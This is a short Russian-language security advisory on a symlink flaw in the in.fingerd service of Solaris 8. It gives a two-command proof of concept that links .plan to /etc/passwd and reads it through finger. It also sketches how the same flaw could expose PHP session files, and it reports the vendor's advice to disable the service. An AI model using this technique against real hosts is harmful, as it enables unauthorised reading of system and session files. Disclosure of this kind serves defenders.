In.FingerD - служба связывающая сеть и локальных пользователей с
информацией об этих пользователях. За ней следуют символьные связи
(symbolic link), дающие возможность злоумышленнику внутри сети получить
доступ к любому файлу, который не является
доступным для пользователя IN.FingerD ( обычно пользователь In.FingerD
- "никто"(nobody) -
но некоторые файлы принадлежащие этому пользователю недоступны другим
пользователям - временные файлы сессии, и.т.п)
Уязвимость присутствует в Solaris 8, возможно, и в более ранних.
Пример:
$ ln -s /etc/passwd .plan
$ finger -l user@example.com
[localhost]
Login name: user
In real life: User
Directory: /home/user
Shell: /bin/tcsh
On since May 19 20:17:04 on pts/70 from example.com
Mail last read Sat May 19 13:51:12 2001
Plan:
root:x:0:1:Super-User:/root:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
.
.
Это становиться опасным, если In.FingerD запускается с привилегиями,
достаточными для запуска приложений CGI, или других программ, которые
создают временные файлы, к которым могут получить доступ пользователи
IN.FingerD.
Примерный сценарий атаки:
Например, многие HTTPD серверы работают с теми же правами, что и у
IN.FingerD. Это означает, что вы сможете прочитать любой CGI временный
файл, или другой файл, доступный только приложению CGI. Т.е. если CGI
скрипт сохраняет какую либо важную информацию во временном файле, как
например это делает PHP со своими сессиями:
-rw------- 1 nobody nobody 329 May 14 12:16 /tmp/sess_0cd156a633
Поэтому если у Вас установлен INFingerD, и он уязвим, то пользователи смогут читать описанные выше временные файлы.
Для устранения данной проблемы, изготовитель рекомендует выключить этот сервис.
|